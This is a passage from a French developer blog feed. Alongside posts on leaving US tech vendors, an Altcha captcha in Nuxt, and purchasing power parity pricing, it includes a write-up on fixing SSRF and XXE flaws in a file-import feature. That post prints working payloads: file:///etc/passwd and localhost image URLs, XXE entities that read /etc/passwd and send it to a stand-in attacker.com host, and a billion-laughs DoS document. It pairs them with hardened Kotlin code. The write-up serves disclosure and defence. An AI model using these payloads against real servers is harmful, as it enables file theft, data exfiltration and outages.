</ul>
<p>C&#39;est encore loin d&#39;être bon, il est très dur de se passer d&#39;Amazon, Linkedin et pire encore dans les loisirs Netflix, Youtube, Crunchyroll, les US sont largement dominants.</p>
<p>Mais techniquement, rien n&#39;empêcherait d&#39;avoir un Linkedin décentralisé et non US.</p>
<p>On commence à voir des choses intéressantes se créer, en profitant notamment des protocoles décentralisé offert par Mastodon (ActivityPub) ou Bluesky (atproto).</p>
<p>On peut notamment citer</p>
<ul>
<li>des alternatives à Instagram : Pixelfed (ActivityPub), Sprk.so, Flashes et Pinksky (atproto)</li>
<li>une alternative à Reddit : Lemmy (ActivityPub)</li>
<li>une alternative à TikTok : Skylight (atproto)</li>
<li>une alternative à Youtube : Peertube (ActivityPub)</li>
<li>une initiative pour créer un <a href="https://www.reuters.com/business/media-telecom/european-project-eurosky-aims-reduce-reliance-us-tech-giants-2025-07-15/">PDS Européen pour Bluesky</a> (permettant donc de ne plus être dépendant du seul PDS US)</li>
</ul>
<p>EDIT : il y a un gros annuaire de ces alternatives utilisant atproto ici : <a href="https://blueskydirectory.com/">https://blueskydirectory.com/</a></p>
<p>C&#39;est loin d&#39;être parfait. Un réseau social a besoin d&#39;un effet de masse pour devenir attractif. Certaines initiatives sont loin de remplacer leurs grandes soeurs.</p>
<p>**Mais la technologie n&#39;est plus une barrière. **</p>
<p>Et rien que ça, <strong>c&#39;est une bonne nouvelle</strong>. Parce que le jour où on se fera couper, on saura faire sans. Mais il faut pas attendre ce moment.</p>
<p>Ca c&#39;est aussi la responsabilité de tout ceux qui construisent des applications ou qui décident de les acheter pour leurs entreprises.</p>
<p>Je bosse dans le développement d&#39;application. Et je me suis fixé un objectif, essayer d&#39;éviter au maximum les outils US pour construire mes nouveaux projets.</p>
<p>J&#39;ai commencé une nouvelle application le mois dernier : <a href="https://writizzy.com">Writizzy</a>.<br>Déjà, le projet en soit est une tentative de proposer une alternative à des plateformes américaines comme Substack, Medium ou Wordpress.</p>
<p>J&#39;ai pu utiliser en grande partie des alternatives non US :</p>
<ul>
<li>l&#39;hébergement sur des serveurs Hetzner (Allemagne)</li>
<li>l&#39;usage de Coolify (PAAS self hosted) (Hongrie)</li>
<li>le CDN et le web storage sur Bunny.net (Slovénie) (un de mes coups de coeur ici, ca remplace sans souci Cloudflare et va bien plus loin que le simple CDN)</li>
<li>les DNS sur hostinger (Allemagne) mais qui vont progressivement aller sur Bunny.net</li>
<li>les emails transactionnels sur Brevo (France)</li>
<li>les boites emails pour moi et Thomas (avec qui je travaille) sur Proton (Suisse)</li>
<li>le stockage S3 sur Scaleway (France)</li>
</ul>
<p>Il me reste des points noirs :</p>
<ul>
<li>Stripe
C&#39;est difficile de s&#39;en passer pour une solution simple et abordable. Je devrais peut-être regarder Paddle (UK) mais c&#39;est le genre de brique qu&#39;on ne change pas facilement.</li>
<li>Github.
Je connais pas d&#39;alternative évidentes. Gitlab aussi vient des US. Bitbucket (Australie) pourrait peut-être convenir mais j&#39;avais l&#39;impression que c&#39;était mort depuis un moment.
Ici c&#39;est moins grave que le paiement, changer de fournisseur pourrait être très simple à faire. Il va falloir que je trouve.</li>
<li>Claude Code.
J&#39;ai 0 alternatives non US à proposer. Je pourrais tester DeepSeek à la limite. Même si passer de l&#39;influence US à l&#39;influence Chinoise comporte aussi des risques...<br>Et Mistral n&#39;était pas au niveau la dernière fois que j&#39;ai essayé.<br>Ca pour le coup c&#39;est une très mauvaise nouvelle.</li>
</ul>
<p>En tout cas, si vous commencez une application aujourd&#39;hui, vous vous devez d&#39;y réfléchir. Ne commencez pas sur de mauvaises bases.</p>
<p>Comprenez aussi que c&#39;est en utilisant ces services qu&#39;ils s&#39;amélioreront parce qu&#39;ils auront les sous et le feedback pour le faire.</p>
<p>Je comprends que ce soit un vrai handicap pour une vieille application et je sais l&#39;effort nécessaire pour transformer une application, d&#39;autant plus sans aucun gain financier direct à la clé.
Mais il faut considérer cela comme un facteur de risque.</p>
<p>Qu&#39;est ce qui se passera demain quand Trump décidera de sanctionner votre entreprise parce que... parce que c&#39;est tout. Parce ce qu&#39;il y a pas besoin de bonne raisons!
Toute la tech US a financé Trump et lui a servi des petits fours pour son investiture. Ils attendent des retours sur investissements et ca passera par de l&#39;espionnage industriel et/ou des blocages.
Toutes les entreprises Européennes peuvent être ciblées à n&#39;importe quel moment.</p>
<p>Dans les administrations il y a un mouvement de fond pour se séparer des outils Microsoft.
En Allemagne, France, Danemark, Italie, Espagne on observe des administrations qui ont migré vers Linux, LibreOffice, Thunderbird etc...</p>
<p>C&#39;est une bonne nouvelle. Mais il faut que ce soit suivi par des entreprises privées et pour ça il faut aussi qu&#39;on soit plus ambitieux sur la qualité des softs qu&#39;on créé.
Le souverainisme naif qui consiste uniquement à vendre le fait d&#39;être européen, mais avec une mauvaise qualité, ça ne marche pas.</p>
<p>Bref, à nous de faire les bons choix et d&#39;être ambitieux.
N&#39;attendons pas qu&#39;il soit trop tard.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179386210-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Implémenter un captcha sans tracking avec Atcha et Nuxt]]></title>
            <link>https://eventuallycoding.com/p/2025-12-altcha-nuxt</link>
            <guid>https://eventuallycoding.com/p/2025-12-altcha-nuxt</guid>
            <pubDate>Wed, 03 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Implémentation d'Altcha avec Nuxt pour protéger un formulaire sans tracking. Retour sur ses limitations face au spam]]></description>
            <content:encoded><![CDATA[<p>Depuis quelques jours, j&#39;ai remarqué plusieurs utilisations abusives de mon formulaire de contact.</p>
<p>Et puis en regardant mieux, j&#39;ai pu noter que chaque usage du formulaire de contact, était suivi par une inscription d&#39;un utilisateur avec le même email et un nom qui suivait toujours le même pattern :</p>
<p>qSfDMiWAiLnpYYzdCeCWd<br>fePXzKXbAmiLAweNZ</p>
<p>etc... Autant dire, que leur appartenance à l&#39;espèce humaine est hautement soumise à caution.</p>
<p>Bref, il est sans doute temps d&#39;ajouter quelques contrôles et l&#39;un des plus fameux c&#39;est, le captcha.</p>
<h2>Les captcha nouvelle génération</h2>
<p>Le captcha, tout le monde connaît, c&#39;est pénible, peut-être à égalité avec les bandeaux pour accepter les cookies.</p>
<p>On retrouve désormais des captcha où il faut identifier des feux rouges, calculer des additions, déplacer une case de puzzle au bon endroit et j&#39;en passe.</p>
<p>Sauf que, vous aurez peut-être noté, depuis quelque temps, on voit aussi apparaître des simples formulaires avec une case à cocher : &quot;Je ne suis pas un robot&quot;.</p>
<p><img src="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179385891-cover.jpg" alt=""Je ne suis pas un robot"" /></p>
<p>Parfois le captcha n&#39;est d&#39;ailleurs même plus visible, la détection se faisant à votre insu, sans rien vous demander.</p>
<p>Alors ça marche comment ? Et comment l&#39;ajouter dans mon application ?</p>
<h2>Nuxt turnstile, la solution par défaut avec Nuxt</h2>
<p>Dans l&#39;écosystème Nuxt, la solution la plus commune c&#39;est <a href="https://nuxt.com/modules/turnstile">Nuxt turnstile</a>. La doc est assez explicite sur la manière de l&#39;ajouter.
C&#39;est une très bonne solution mais elle repose sur <a href="https://nuxt.com/modules/turnstile">Cloudflare turnstile</a> or je tente de n&#39;utiliser aucun produit US pour Writizzy et Hakanai.</p>
<p>Malgré tout, la doc permet de comprendre un peu mieux le fonctionnement des captcha de nouvelle génération.</p>
<p>Au moment de l&#39;apparition de la page, le widget turnstile va faire des vérifications côté client :</p>
<ul>
<li><strong>proof of space</strong><br>Le script demande au client de générer et stocker une quantité de données selon un algo prédéfini, et lui demande ensuite l&#39;octet à un position donnée. Non seulement ça prend du temps, mais ca s&#39;automatise difficilement à l&#39;échelle.</li>
<li><strong>des détections triviales sur le navigateur</strong><br>L&#39;idée étant d&#39;essayer de détecter un bot (pas de plugin, un pilotage par webdriver etc...). Le fingerprinting va également aider dans ce cas là.
Il s&#39;agit de récupérer toutes les infos disponibles, sur le navigateur, l&#39;OS, les apis disponibles, la résolution etc...</li>
</ul>
<p>::alert
A noter que le fingerprinting peut être mal vu par la RGPD qui peut considérer qu&#39;il s&#39;agit d&#39;identifier une personne de façon unique.<br>Personnellement je trouve ça discutable en soi (je ne suis pas un fingerprint !), mais alors dans le cadre de la protection anti spam on se mord un peu la queue ici puisqu&#39;il serait alors nécessaire de demander aux bots leur autorisation pour qu&#39;on essaie de les détecter. On est ici aux limites de l&#39;absurde.
::</p>
<p>Mais reprenons. En fonction des infos précédentes, le script va envoyer tout cela à Cloudflare. Sur la base de ces infos et se reposant aussi sur une énorme base de données de l&#39;ensemble du traffic mondial, Cloudflare va calculer un pourcentage de chance que l&#39;utilisateur soit un bot.
Le formulaire va varier entre :</p>
<ul>
<li>rien à faire, cloudflare est convaincu que c&#39;est un humain</li>
<li>une case à cocher &quot;je ne suis pas un robot&quot;</li>
<li>un captcha plus élaboré si vraiment la suspicion est forte</li>
<li>une page de blocage quand la suspicion ne laisse aucun doute</li>
</ul>
<p>Alors, vous pourriez me dire, la case à cocher, c&#39;est quand même un peu léger non ? Si je suis arrivé jusque-là, je sais facilement automatiser un click supplémentaire. D&#39;autant plus que cloudflare étant partout, c&#39;est forcément le même formulaire partout.</p>
<p>Oui... Mais...</p>
<p>La première chose, c&#39;est que la façon de cocher la case va être analysé. Est-ce que le click est trop rapide, est ce qu&#39;il semble automatisé, est ce que le parcours de la souris pour atteindre la case est naturelle.<br>Tout ça peut déclencher une protection supplémentaire.<br>EDIT : turnstile ne fait peut-être pas cette opération. reCaptcha, la solution de Google, est connu pour le faire. Turnstile est moins explicite sur le sujet.</p>
<p>Mais en plus de ça la case à cocher déclenche un challenge, un petit calcul demandé par Cloudflare que votre client doit réaliser. Le résultat est ce qu&#39;on appelle, une preuve de travail (<strong>proof of work</strong>).<br>Ce travail est lent, pour un ordinateur. On parle de 500ms, ce qui est une éternité pour une machine.<br>Mais, pour un utilisateur humain, c&#39;est totalement anecdotique. Et, franchement, la satisfaction d&#39;avoir fièrement démontré sa supériorité face à la machine permet d&#39;oublier ces 500 petites millisecondes.</p>
<p>Par contre pour un bot, ce temps va poser un vrai souci s&#39;il faut automatiser la création de centaines ou milliers de comptes.</p>
<p>Donc c&#39;est pas impossible de cocher cette case, mais c&#39;est couteux. Et c&#39;est censé rendre l&#39;équation économique pas intéressante sur de gros volumes.</p>
<p>Maintenant, même si c&#39;est bien beau tout ça, je ne souhaite toujours pas utiliser Cloudflare, donc, comment le remplacer ?</p>
<h2>Altcha, alternative open source</h2>
<p>En faisant mes recherches je suis tombé sur <a href="https://altcha.org/">altcha</a>. La solution est opensource, ne nécessite aucun appel à des serveurs externes, ne partage aucune donnée.</p>
<p>L&#39;implémentation nécessite de faire la demande de Proof of work (le fameux challenge javascript) depuis votre serveur. Ici, on va l&#39;initier depuis le backend nuxt, dans un handler :</p>
<pre><code class="language-typescript">// server/api/altcha/challenge.get.ts
import { createChallenge } from &#39;altcha-lib&#39;

export default defineEventHandler(async () =&gt; {
  const hmacKey = useRuntimeConfig().altchaHmacKey as string

  return createChallenge({
    hmacKey,
    maxnumber: 100000,
    expires: new Date(Date.now() + 60000) // 1 minute
  })
})
</code></pre>
<p>Dans la page du formulaire de contact, on va ajouter un Composant vue :</p>
<pre><code class="language-vue">	&lt;ClientOnly&gt;
	  &lt;Altcha
		v-model:payload=&quot;altchaPayload&quot;
	  /&gt;
	&lt;/ClientOnly&gt;
</code></pre>
<p>Ce <code>altchaPayload</code> sera ajouté du payload du post, par exemple :</p>
<pre><code class="language-typescript">    await $fetch(&#39;/api/contact&#39;, {
      method: &#39;POST&#39;,
      body: {
        email: loggedIn.value ? user.value?.email : event.data.email,
        subject: event.data.subject,
        message: event.data.message,
        altcha: altchaPayload.value
      }
    })
</code></pre>
<p>Le résultat du calcul sera ensuite vérifié dans le endpoint <code>/api/contact</code></p>
<pre><code class="language-typescript">    const hmacKey = useRuntimeConfig().altchaHmacKey as string

    const ok = await verifySolution(data.altcha, hmacKey)
    if (!ok) {
      throw createError({ statusCode: 400, message: &#39;Invalid challenge&#39; })
    }
</code></pre>
<p>Le composant vue dont je parlais plus haut, c&#39;est celui-ci :</p>
<pre><code class="language-vue">&lt;script setup lang=&quot;ts&quot;&gt;
import { onMounted, onUnmounted, ref, watch } from &#39;vue&#39;

const altchaWidget = ref&lt;HTMLElement | null&gt;(null)
const props = defineProps({
  payload: {
    type: String,
    required: false
  }
})
const emit = defineEmits&lt;{
  (e: &#39;update:payload&#39;, value: string): void
}&gt;()
const internalValue = ref(props.payload)

watch(internalValue, (v) =&gt; {
  emit(&#39;update:payload&#39;, v || &#39;&#39;)
})

const onStateChange = (ev: CustomEvent | Event) =&gt; {
  if (&#39;detail&#39; in ev) {
    const { payload, state } = ev.detail
    if (state === &#39;verified&#39; &amp;&amp; payload) {
      internalValue.value = payload
    } else {
      internalValue.value = &#39;&#39;
    }
  }
}

onMounted(() =&gt; {
  const script = document.createElement(&#39;script&#39;)
  script.src = &#39;https://cdn.jsdelivr.net/gh/altcha-org/altcha@main/dist/altcha.min.js&#39;
  script.type = &#39;module&#39;
  document.head.appendChild(script)

  if (altchaWidget.value) {
    altchaWidget.value.addEventListener(&#39;statechange&#39;, onStateChange)
  }
})

onUnmounted(() =&gt; {
  if (altchaWidget.value) {
    altchaWidget.value.removeEventListener(&#39;statechange&#39;, onStateChange)
  }
})
&lt;/script&gt;

&lt;template&gt;
  &lt;altcha-widget
    ref=&quot;altchaWidget&quot;
    challengeurl=&quot;/api/altcha/challenge&quot;
    hidelogo
    hidefooter
    style=&quot;--altcha-max-width:100%&quot;
  /&gt;
&lt;/template&gt;
</code></pre>
<p>Et voilà, la <a href="https://pulse.hakanai.io/contact">page contact</a> et la page <a href="https://pulse.hakanai.io/signup">signup</a> est désormais protégé par ce altcha.</p>
<p>Maintenant, est-ce que ça marche ?</p>
<h2>Les limitations de altcha</h2>
<p>La mise en place s&#39;est faite hier. Et malheureusement, je constate toujours des inscriptions très suspectes sur Pulse. Donc manifestement, Altcha n&#39;a pas rempli son rôle.</p>
<p>Cependant, maintenant qu&#39;on sait comment ça marche, c&#39;est plus simple de comprendre pourquoi ça ne marche pas.</p>
<p>Altcha ne fait aucune des vérifications faites par turnstile :</p>
<ul>
<li>pas de proof of space</li>
<li>pas de fingerprinting</li>
<li>pas de vérification du fingerprinting auprès de cloudflare</li>
<li>aucune vérification comportementale du clic souris sur la case à cocher.</li>
</ul>
<p>La seule protection c&#39;est le proof of work, qui ne coute &quot;que&quot; du temps à l&#39;attaquant.</p>
<p>Or pour pulse, pour une raison qui m&#39;échappe complètement, la personne qui s&#39;amuse à créer des comptes en fait environ 4 par jours. Le cout du Proof of work est dérisoire dans ce cas-là.
Altcha n&#39;est donc pas adapté à ce type de &quot;slow attack&quot;.</p>
<p>Bref, va falloir que je trouve une autre parade... Et je suis preneur de vos suggestions.</p>
]]></content:encoded>
            <category>nuxt</category>
            <category>captcha</category>
            <category>security</category>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179386109-cover-gundam.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Sécuriser un import de fichiers : corriger les failles SSRF et XXE]]></title>
            <link>https://eventuallycoding.com/p/2025-11-xxe-ssrf-attack</link>
            <guid>https://eventuallycoding.com/p/2025-11-xxe-ssrf-attack</guid>
            <pubDate>Thu, 27 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment corriger les failles SSRF et XXE sur un import de fichiers ? Cas réel avec exploitation, exemples de code et solutions de sécurisation en Kotlin.]]></description>
            <content:encoded><![CDATA[<p>Vous savez qui aime les nouvelles features sur une application ?</p>
<p>Les hackers.</p>
<p>Chaque nouvelle fonctionnalité est une opportunité supplémentaire, une nouvelle faille potentielle.</p>
<p>Le week end dernier j&#39;ai ajouté la possibilité de migrer ses données sur writizzy depuis wordpress (fichier xml), ghost (fichier json) et medium (archive zip).</p>
<p>Et lundi j&#39;ai recu ce message :</p>
<blockquote>
<p>Enorme vuln sur writizzy</p>
<p>Hello,
Tu as une énorme vulnérabilité sur writizzy que tu dois fixer asap.
Via l&#39;import medium, j&#39;ai pu download ton /etc/passwd
Grosso modo, il faut absolument que tu valides les images du html medium!</p>
<p>Ton /etc/passwd pour preuve:</p>
<p>Micka</p>
</blockquote>
<p>Alors comme c&#39;est pas impossible que vous découvriez ce genre de faille, je vous propose de voir comment exploiter des failles SSRF et XXE</p>
<h2>La faille SSRF</h2>
<p>Une faille SSRF veut dire &quot;server side request forgery&quot;, c&#39;est une attaque permettant d&#39;accéder à des ressources vulnérables du serveur.</p>
<p>Ok, mais comment accéder à ces ressources en déclenchant un import de données avec une archive zip ?</p>
<p>La fonctionnalité d&#39;import repose sur un principe important, j&#39;essaie de télécharger les images qui sont dans l&#39;article à migrer pour les importer sur mon propre stockage (bunny dans mon cas).</p>
<p>Imaginons par exemple que j&#39;ai ceci dans la page medium</p>
<pre><code>&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/image.jpg&quot;/&gt;
</code></pre>
<p>Je dois télécharger l&#39;image, puis la réuploader sur bunny. Lors de la conversion en markdown je vais ensuite écrire ceci :</p>
<pre><code>![](https://cdn.bunny.net/blog/12132132/image.jpg)
</code></pre>
<p>Donc pour ca, a un endroit j&#39;ouvre une url vers l&#39;image</p>
<pre><code class="language-kotlin">   val imageBytes = try {
		val connection = URL(imageUrl).openConnection()
		connection.setRequestProperty(&quot;User-Agent&quot;, &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36&quot;)
		connection.setRequestProperty(&quot;Referer&quot;, &quot;https://medium.com/&quot;)
		connection.setRequestProperty(&quot;Accept&quot;, &quot;image/avif,image/webp,*/*&quot;)
		connection.connectTimeout = 10000
		connection.readTimeout = 10000
		connection.getInputStream().use { it.readBytes() }
	} catch (e: Exception) {
		logger.warn(&quot;Failed to download image $imageUrl: ${e.message}&quot;)
		return imageUrl
	}
</code></pre>
<p>Et ensuite j&#39;uploade le tableau de bytes vers bunny.</p>
<p>Ok. Mais que se passe-t-il si l&#39;utilisateur écris ceci :</p>
<pre><code>&lt;img src=&quot;file:///etc/passwd&quot;&gt;
</code></pre>
<p>Le code précédent va essayer de lire le fichier en suivant le protocole demandé, ici, file. Puis uploader le contenu du fichier sur le cdn. Contenu désormais accessible publiquement.</p>
<p>Et puis on peut également accéder à des urls internes pour scanner des ports, avoir des infos sensibles etc...</p>
<pre><code>&lt;img src=&quot;http://localhost:6379/&quot;&gt;
</code></pre>
<p>Bref, la faille est très importante.</p>
<p>Pour corriger il y a plusieurs choses à faire. Déjà, vérifier le protocole utilisé :</p>
<pre><code class="language-kotlin">	if (url.protocol !in listOf(&quot;http&quot;, &quot;https&quot;)) {
		logger.warn(&quot;Unauthorized protocol: ${url.protocol} for URL: $imageUrl&quot;)
		return imageUrl
	}
</code></pre>
<p>Ensuite, vérifier qu&#39;on attaque pas des urls privées</p>
<pre><code class="language-kotlin">        val host = url.host.lowercase()
        if (isPrivateOrLocalhost(host)) {
            logger.warn(&quot;Blocked private/localhost URL: $imageUrl&quot;)
            return imageUrl
        }
		
		...
		
		    private fun isPrivateOrLocalhost(host: String): Boolean {
        if (host in listOf(&quot;localhost&quot;, &quot;127.0.0.1&quot;, &quot;::1&quot;)) return true

        val address = try {
            java.net.InetAddress.getByName(host)
        } catch (_: Exception) {
            return true // En cas de doute, on bloque
        }

        return address.isLoopbackAddress ||
                address.isLinkLocalAddress ||
                address.isSiteLocalAddress
    }
</code></pre>
<p>Mais ici, j&#39;ai encore un risque. L&#39;utilisateur peut écrire</p>
<pre><code>&lt;img src=&quot;https://hacker-domain.com/image.jpg&quot;&gt;
</code></pre>
<p>Et pourtant, ceci pourrait encore être risqué si le hacker demande un redirect de cette url vers /etc/password</p>
<p>Donc il faut bloquer les demandes de redirection :</p>
<pre><code class="language-kotlin">	val connection = url.openConnection()
	if (connection is java.net.HttpURLConnection) {
		connection.instanceFollowRedirects = false
	}
	connection.setRequestProperty(&quot;User-Agent&quot;, &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36&quot;)
	connection.setRequestProperty(&quot;Referer&quot;, &quot;https://medium.com/&quot;)
	connection.setRequestProperty(&quot;Accept&quot;, &quot;image/avif,image/webp,*/*&quot;)
	connection.connectTimeout = 10000
	connection.readTimeout = 10000
	val responseCode = (connection as? java.net.HttpURLConnection)?.responseCode

	if (responseCode in listOf(301, 302, 303, 307, 308)) {
		logger.warn(&quot;Refused redirect for URL: $imageUrl (HTTP $responseCode)&quot;)
		return imageUrl
	}
</code></pre>
<p>Bref, faites très attention à l&#39;ouverture de connection piloté par l&#39;utilisateur.</p>
<p>Sauf que c&#39;était pas fini.</p>
<p>Second message de Micka :</p>
<blockquote>
<p>T&#39;as aussi une XXE sur l&#39;import wordpress !
Désolé du spam, j&#39;avais pas pu tester pour t&#39;avertir en même temps que l&#39;autre vuln, ça aussi faut que tu le fix asap :)</p>
</blockquote>
<h2>la faille XXE</h2>
<p>Une XXE (XML External Entity) est une vulnérabilité qui permet d&#39;injecter des entités XML externes pour :</p>
<ul>
<li>Lire des fichiers locaux (/etc/passwd, config files, clés SSH...)</li>
<li>Faire du SSRF (requêtes vers des services internes)</li>
<li>Faire du DoS (billion laughs attack)</li>
</ul>
<p>Or Micka a modifié le fichier xml de Wordpress pour rajouter une déclaration d&#39;entité</p>
<pre><code>&lt;!DOCTYPE foo [ &lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&gt; ]&gt;
...
&lt;content:encoded&gt;&amp;xxe;&lt;/content:encoded&gt;
</code></pre>
<p>Cette directive demande au parseur XML d&#39;aller lire le contenu d&#39;un fichier local pour ensuite l&#39;utiliser plus tard.</p>
<p>Il aurait aussi été possible d&#39;envoyer ce fichier vers une url directement</p>
<pre><code>&lt;!DOCTYPE foo [
  &lt;!ENTITY % file SYSTEM &quot;file:///etc/passwd&quot;&gt;
  &lt;!ENTITY % dtd SYSTEM &quot;http://attacker.com/evil.dtd&quot;&gt;
  %dtd;
]&gt;
</code></pre>
<p>et sur <a href="http://attacker.com/evil.dtd">http://attacker.com/evil.dtd</a></p>
<pre><code>&lt;!ENTITY % all &quot;&lt;!ENTITY send SYSTEM &#39;http://attacker.com/?data=%file;&#39;&gt;&quot;&gt;
%all;
</code></pre>
<p>Enfin pour faire tomber un serveur, l&#39;attaquant aussi aussi pu faire ceci :</p>
<pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;!DOCTYPE lolz [
  &lt;!ENTITY lol &quot;lol&quot;&gt;
  &lt;!ENTITY lol1 &quot;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&quot;&gt;
  &lt;!ENTITY lol2 &quot;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&quot;&gt;
  &lt;!ENTITY lol3 &quot;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&quot;&gt;
  &lt;!ENTITY lol4 &quot;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&quot;&gt;
  &lt;!ENTITY lol5 &quot;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&quot;&gt;
  &lt;!ENTITY lol6 &quot;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&quot;&gt;
  &lt;!ENTITY lol7 &quot;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&quot;&gt;
  &lt;!ENTITY lol8 &quot;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&quot;&gt;
  &lt;!ENTITY lol9 &quot;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&quot;&gt;
]&gt;
&lt;rss&gt;
  &lt;channel&gt;
    &lt;item&gt;
      &lt;title&gt;&amp;lol9;&lt;/title&gt;
      &lt;wp:post_id&gt;1&lt;/wp:post_id&gt;
      &lt;wp:status&gt;publish&lt;/wp:status&gt;
      &lt;wp:post_type&gt;post&lt;/wp:post_type&gt;
    &lt;/item&gt;
  &lt;/channel&gt;
&lt;/rss&gt;
</code></pre>
<p>Ceci demande l&#39;affichage de plus de 3Mds de caractères, et donc faire planter le serveur. Il existe des variantes mais vous avez l&#39;idée.</p>
<p>Bref, évidemment on veut pas tout ça.</p>
<p>Cette fois ci, il va falloir sécuriser le parseur XML en lui demandant de ne pas regarder les entités externes :</p>
<pre><code class="language-kotlin">	val factory = DocumentBuilderFactory.newInstance()
    
    // Désactiver les entités externes (XXE protection)
    factory.setFeature(&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;, true)
    factory.setFeature(&quot;http://xml.org/sax/features/external-general-entities&quot;, false)
    factory.setFeature(&quot;http://xml.org/sax/features/external-parameter-entities&quot;, false)
    factory.setFeature(&quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&quot;, false)
    factory.isXIncludeAware = false
    factory.isExpandEntityReferences = false
</code></pre>
<p>J&#39;espère que vous aurez appris un truc.
Moi oui en tout cas, parce que même si j&#39;aurais du voir la faille SSRF, honnêtement, j&#39;aurais jamais vu celle sur le parseur XML. C&#39;est grace à Micka que j&#39;ai découvert ce type de pratique.</p>
<p>Pour info, <a href="https://mjeanroy.tech/">Micka</a> est une personne formidable avec qui j&#39;ai déjà bossé sur Malt et qui bosse dans la sécurité. Vous l&#39;avez peut-être croisé sur des capture the flag à Mixit.
Et il adore essayer de trouver ce genre de faille.</p>
]]></content:encoded>
            <category>security</category>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179385650-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Qu'est ce que la parité de pouvoir d'achat ?]]></title>
            <link>https://eventuallycoding.com/p/2025-11-purchasing-power-parity</link>
            <guid>https://eventuallycoding.com/p/2025-11-purchasing-power-parity</guid>
            <pubDate>Wed, 12 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Réflexion sur la Purchasing Power Parity (PPP) pour un SaaS : faut-il adapter ses prix selon les pays ? Analyse des coûts marginaux et du risque VPN.]]></description>
            <content:encoded><![CDATA[<p>Jusqu&#39;ici j&#39;avais travaillé sur un produit (Malt) dont les utilisateurs sont majoritairement en Europe et même plus précisément, en Europe occidentale.
Je dis en majorité parce qu&#39;il existe des utilisateurs de Malt dans d&#39;autres parties du monde, mais c&#39;est un tout petit pourcentage et on ne se concentrait pas dessus.</p>
<p>Donc avec Writizzy, c&#39;est la première fois que je sors un produit grand public à destination du monde entier.</p>
<p>Et hier j&#39;ai reçu ce message :</p>
<blockquote>
<p>Hi there,
Just wanna say your product is awesome.
I really love its simplicity and am thinking of subscribing to it.
However, can you implement a purchasing power parity policy? Your current pricing is too high for me at the moment. I lived in Indonesia (part of South East Asia).
Thanks</p>
</blockquote>
<p>Eh bien, c&#39;est une super question.</p>
<h2>La parité de pouvoir d&#39;achat</h2>
<p>La parité de pouvoir d&#39;achat (PPA) c&#39;est une façon d&#39;exprimer une valeur en fonction du pouvoir d&#39;achat d&#39;un pays.</p>
<p>En fait, vous connaissez sans doute déjà, si vous avez entendu parler de l&#39;indice Big Mac.
C&#39;est lié à cette fameuse parité de pouvoir d&#39;achat. L&#39;idée, c&#39;est d&#39;exprimer cette parité en l&#39;illustrant par le coût d&#39;un Big Mac selon les pays (qui inclut le coût de production dans ce cas précis puisque c&#39;est un bien physique).</p>
<p>Et il y a un vrai sujet lorsque tu as des utilisateurs du monde entier qui utilisent ton produit, c&#39;est l&#39;accès équitable au produit en question.</p>
<p>Si par exemple un produit coûte 10 euros par mois, ces 10 euros ne représentent pas la même chose au Vietnam ou aux US en parité de pouvoir d&#39;achat.</p>
<ul>
<li>Le salaire médian au Vietnam est d&#39;environ 350 euros par mois.</li>
<li>Le salaire médian aux US tourne autour de 3 800 euros par mois.</li>
<li>Et en France, on se situe autour des 2 000 par mois.</li>
</ul>
<p>Bref, un produit à 10 euros représente 3% du salaire médian d&#39;un Vietnamien, contre à peine 0,3% pour un Américain.
Et 3% dans un budget mensuel, ça s&#39;envisage pas du tout de la même façon quand on considère une dépense.</p>
<p>Donc, je vous ai un peu menti, c&#39;est pas juste une question d&#39;équitabilité, la définition d&#39;un prix ça fait partie d&#39;une stratégie pour acquérir des utilisateurs.
Si on passe des heures à définir ce prix pour un pays, mais ensuite pour lancer de façon mondiale, il y a par définition un énorme trou de conception. Ça ne marchera pas.</p>
<p>C&#39;est pour ça que certains produits peuvent afficher des prix différents par pays en fonction de la Parité de Pouvoir d&#39;Achat.</p>
